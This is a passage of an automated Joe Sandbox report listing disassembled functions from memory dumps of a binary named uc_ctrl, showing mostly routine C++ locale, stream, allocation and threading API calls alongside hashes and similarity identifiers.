Part of subcall function 6C9495EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E611,?,?,?,?,?,00000000), ref: 6C9495FD
Part of subcall function 6C9495EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C949615
Part of subcall function 6C9495EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6C949679

std::locale::~locale.LIBCPMT ref: 6C95452D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WJ@Z.MSVCP140(00000000,00000000,?,?,?,00000001,?,?), ref: 6C954557
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C9545A4

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 3bce31f80115e6a2cf7ae820e9fef61eaa365187f4308f60eca47d2f48a67170
Instruction ID: 1005ebab2a595d02ee2ae3e1f281283825ecc4d4aad59696cfcf82fa27cb62ef
Opcode Fuzzy Hash: 3bce31f80115e6a2cf7ae820e9fef61eaa365187f4308f60eca47d2f48a67170
Instruction Fuzzy Hash: 2E11AF71901114AFCB01CFA8C950BEDBBB5AF69308F64404DE144AB381CB75DA19CBA0

Function 6C954400 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C954407

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C954437

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C9495EB: __EH_prolog3.LIBCMT ref: 6C9495F2
Part of subcall function 6C9495EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E611,?,?,?,?,?,00000000), ref: 6C9495FD
Part of subcall function 6C9495EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C949615
Part of subcall function 6C9495EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6C949679

std::locale::~locale.LIBCPMT ref: 6C95444D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WJ@Z.MSVCP140(00000000,00000000,?,?,?,00000002,?,?), ref: 6C954477
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C9544C4

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 54b92663a2e249056d3f4372dbda5af7d28ad7cfe2b766ba2e21831f776138e1
Instruction ID: db4e152216de42810f7e32f284b1b4ccf1baa85ebebc782b9e5a34223d1d4e55
Opcode Fuzzy Hash: 54b92663a2e249056d3f4372dbda5af7d28ad7cfe2b766ba2e21831f776138e1
Instruction Fuzzy Hash: FB11AF31901104AFCB01DFA8C950BEDBBF5AF29308F64804DE145A7381CB75DA15CBA1

Function 6C9547A0 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9547A7

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C9547D7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C9495EB: __EH_prolog3.LIBCMT ref: 6C9495F2
Part of subcall function 6C9495EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E611,?,?,?,?,?,00000000), ref: 6C9495FD
Part of subcall function 6C9495EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C949615
Part of subcall function 6C9495EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6C949679

std::locale::~locale.LIBCPMT ref: 6C9547ED
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_N@Z.MSVCP140(00000000,00000000,?,?,?,00000002,?,?), ref: 6C954817
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C954864

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 0617fc8d5de517637b001dc0221a6eb6fda8f56468543f1903814e87cdd80158
Instruction ID: ba28045692c808d559499900f9043c6e5f3492e34a5581a015933bfddbf26a3f
Opcode Fuzzy Hash: 0617fc8d5de517637b001dc0221a6eb6fda8f56468543f1903814e87cdd80158
Instruction Fuzzy Hash: 0A11B131901144EFCB01DFA8C950BEDBBF5AF29308F64409DE244A7781CB75DA15CBA0

Function 6C9538C0 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9538C7
?getloc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000010), ref: 6C953925

Part of subcall function 6C953690: std::locale::locale.LIBCPMT ref: 6C953699

?pubimbue@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE?AVlocale@2@ABV32@@Z.MSVCP140(?,00000000,00000010), ref: 6C953935

Part of subcall function 6C9536B0: __EH_prolog3.LIBCMT ref: 6C9536B7
Part of subcall function 6C9536B0: std::locale::locale.LIBCPMT ref: 6C9536C8

std::locale::~locale.LIBCPMT ref: 6C95393D
std::locale::~locale.LIBCPMT ref: 6C953945

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3U?$char_traits@_Vlocale@2@W@std@@@std@@std::locale::localestd::locale::~locale$?getloc@?$basic_streambuf@_?pubimbue@?$basic_streambuf@_V32@@
String ID:
API String ID: 1293560073-0
Opcode ID: 796f4e762ac46693ed6bbe5583e3f0e43b1ec92f6d82b9f5f306a187a3b3c693
Instruction ID: c5c03b491fb587785bc10dc34811a679862390d60cda68a8f4f431a4f2578b0a
Opcode Fuzzy Hash: 796f4e762ac46693ed6bbe5583e3f0e43b1ec92f6d82b9f5f306a187a3b3c693
Instruction Fuzzy Hash: 1421D479600A059FCB05DF6CC49089AB7B5FFAD3107458195E9059B7A8DB30FD24CFA0

Function 6C92ABE0 Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9845F0), ref: 6C92ABF6
__Thrd_current.LIBCPMT ref: 6C92ABFC

Part of subcall function 6C92A990: GetCurrentProcess.KERNEL32(?,00000002,00000001,00000000), ref: 6C92A99F
Part of subcall function 6C92A990: GetCurrentThread.KERNEL32 ref: 6C92A9A6
Part of subcall function 6C92A990: GetCurrentProcess.KERNEL32(00000000), ref: 6C92A9AD
Part of subcall function 6C92A990: DuplicateHandle.KERNEL32(00000000), ref: 6C92A9B4
Part of subcall function 6C92A990: CloseHandle.KERNEL32(?), ref: 6C92A9C1
Part of subcall function 6C92A990: GetCurrentThreadId.KERNEL32 ref: 6C92A9CD

__Mtx_unlock.LIBCPMT(6C9843F8), ref: 6C92AC36
__Cnd_broadcast.LIBCPMT(00000000,6C9843F8), ref: 6C92AC3E
LeaveCriticalSection.KERNEL32(6C9845F0), ref: 6C92AC6E

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Current$CriticalHandleProcessSectionThread$CloseCnd_broadcastDuplicateEnterLeaveMtx_unlockThrd_current
String ID:
API String ID: 1147146509-0
Opcode ID: b9db62d288ee8039a48f271758b5c89f95a9b760f379e5ce80704e7b76d65cb2
Instruction ID: 1e1b0532fffcf81010d346f87cfb9cee2e701d708b2674e5a4b2b33eefbeed37
Opcode Fuzzy Hash: b9db62d288ee8039a48f271758b5c89f95a9b760f379e5ce80704e7b76d65cb2
Instruction Fuzzy Hash: 1411A133519701CFD721DF15C85078AF7B8FF41729F540A2AE4AA93A45EB34E854CAD1

Function 6C959580 Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C959587
?getloc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000010), ref: 6C9595E0

Part of subcall function 6C953690: std::locale::locale.LIBCPMT ref: 6C953699

?pubimbue@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE?AVlocale@2@ABV32@@Z.MSVCP140(?,00000000,00000010), ref: 6C9595F0

Part of subcall function 6C9536B0: __EH_prolog3.LIBCMT ref: 6C9536B7
Part of subcall function 6C9536B0: std::locale::locale.LIBCPMT ref: 6C9536C8

std::locale::~locale.LIBCPMT ref: 6C9595F8
std::locale::~locale.LIBCPMT ref: 6C959600

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3U?$char_traits@_Vlocale@2@W@std@@@std@@std::locale::localestd::locale::~locale$?getloc@?$basic_streambuf@_?pubimbue@?$basic_streambuf@_V32@@
String ID:
API String ID: 1293560073-0
Opcode ID: c908d1f7985d1bf8715121633c5f13a34e935e8c2320e7827aab304288e7940d
Instruction ID: 3365f8435145217d7b4451ae339c432141e622cfbf63467f7ac6738de7a690da
Opcode Fuzzy Hash: c908d1f7985d1bf8715121633c5f13a34e935e8c2320e7827aab304288e7940d
Instruction Fuzzy Hash: F911E3B96016048FCB04CF68C480999B7B5FFAD3147518195ED099B7A5D730ED29CFA0

Function 6C94BFB1 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C94BFB8
new.LIBCMT ref: 6C94BFCC

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

Part of subcall function 6C93E342: __EH_prolog3_GS.LIBCMT ref: 6C93E349

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,?,?,?,?,?,?,00000058,6C94D4D3,00000000,?,?,?,00000004), ref: 6C94BFFD
_Getcoll.MSVCP140(?,?,?,?,?,?,00000058,6C94D4D3,00000000,?,?,?,00000004), ref: 6C94C015
??1_Locinfo@std@@QAE@XZ.MSVCP140(?,?,?,?,?,?,00000058,6C94D4D3,00000000,?,?,?,00000004), ref: 6C94C025

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_Locinfo@std@@$??0_??1_Getcollmalloc
String ID:
API String ID: 1160371535-0
Opcode ID: 76926874c79678ac93e0727eab8a904d37c47adfe0b1ae5991f56551768b1ebf
Instruction ID: 7360b7a893d5ac617758420702c37a1055ef18cd0be69182f11f04984de3062a
Opcode Fuzzy Hash: 76926874c79678ac93e0727eab8a904d37c47adfe0b1ae5991f56551768b1ebf
Instruction Fuzzy Hash: A11157719513048FDB24DFA8C8117DDB7F0AF28719F509429D08AABA90DBB8DA488F55

Function 6C9428C1 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C9428C8
new.LIBCMT ref: 6C9428DC

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

Part of subcall function 6C93E342: __EH_prolog3_GS.LIBCMT ref: 6C93E349

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,?,00000058,6C94976E,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C94290D
_Getcoll.MSVCP140(?,00000058,6C94976E,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C942925
??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000058,6C94976E,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C942935

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_Locinfo@std@@$??0_??1_Getcollmalloc
String ID:
API String ID: 1160371535-0
Opcode ID: e2f4398dc44a38d82907eaab125d8441a86372b755148da562bcdce3158e3e4a
Instruction ID: f9ef57a046a90ef162e531ff757bbc8689dbc3e518948d167bf699c543df6e6a
Opcode Fuzzy Hash: e2f4398dc44a38d82907eaab125d8441a86372b755148da562bcdce3158e3e4a
Instruction Fuzzy Hash: 821187719103088FDB10CFA8C801BDDB7F0AF28718F509429D08AEBA90DBB8D6488F65

Function 00777A83 Relevance: 7.5, APIs: 2, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00781424,p#w,00000000,?,00774CDC,00000000,p#w,00000000,?,00000000,?,00774BE1,p#w,?,?,00000000), ref: 00777AB3
LeaveCriticalSection.KERNEL32(00781424,?,00774CDC,00000000,p#w,00000000,?,00000000,?,00774BE1,p#w,?,?,00000000,00000000,00779728), ref: 00777ADF

Strings

p#w, xrefs: 00777AAE
p#w, xrefs: 00777AB9
p#w, xrefs: 00777A86

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: p#w$p#w$p#w
API String ID: 3168844106-4126851543
Opcode ID: 3b1cdb3439d96c283b8320f0ecd13bd4563b5b70b55f617768c018f3b33513d2
Instruction ID: 78e357b9d457450b9718d2711a752975f323ef7d8cd2e48445310240a6b8d27d
Opcode Fuzzy Hash: 3b1cdb3439d96c283b8320f0ecd13bd4563b5b70b55f617768c018f3b33513d2
Instruction Fuzzy Hash: 71F0FF32204308EBEB288A48D880D6EB3B9FB81790716C819FA0887900D774F911CBE1

Function 6C94ACD0 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94ACD7
new.LIBCMT ref: 6C94ACEE

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C94D904,?,?,00000000,?,?,?,00000004), ref: 6C94AD08

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

?_Init@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(00000000,00000038,6C94D904,?,?,00000000,?,?,?,00000004), ref: 6C94AD1C

Part of subcall function 6C94C0B0: ?_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6C94AD21,00000000,00000038,6C94D904,?,?,00000000,?,?,?,00000004), ref: 6C94C0BE
Part of subcall function 6C94C0B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6C94AD21,00000000,00000038,6C94D904,?,?,00000000,?,?,?,00000004), ref: 6C94C0CE

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000038,6C94D904,?,?,00000000,?,?,?,00000004), ref: 6C94AD26

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_D@std@@@std@@@std@@ExceptionGettnames@_Init@?$time_put@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@V12@V12@@V?$ostreambuf_iterator@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 836515089-0
Opcode ID: 6d6229d7079f9498ba9d65e4585a253786409f07b77cc7fb2673d6cd40941168
Instruction ID: 84e189042d0b2ffd12ecb2a013d63b741cabd9fc9c8dee1e5a69789f512e42a5
Opcode Fuzzy Hash: 6d6229d7079f9498ba9d65e4585a253786409f07b77cc7fb2673d6cd40941168
Instruction Fuzzy Hash: E7F062719007168BCB00EF94C45069DB7B4FF38618F90842ED44957B80DF70D604CB40

Function 6C933D60 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C933D67
new.LIBCMT ref: 6C933D7E

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6C93D9BC,?,?,00000000,?,?,?,00000004), ref: 6C933D98

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??0?$ctype@G@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6C93D9BC,?,?,00000000,?,?,?,00000004), ref: 6C933DAC

Part of subcall function 6C933D20: __EH_prolog3.LIBCMT ref: 6C933D27
Part of subcall function 6C933D20: ctype.LIBCPMT(?,00000004,6C933DB1,00000000,00000000,0000003C,6C93D9BC,?,?,00000000,?,?,?,00000004), ref: 6C933D44

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6C93D9BC,?,?,00000000,?,?,?,00000004), ref: 6C933DB6

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
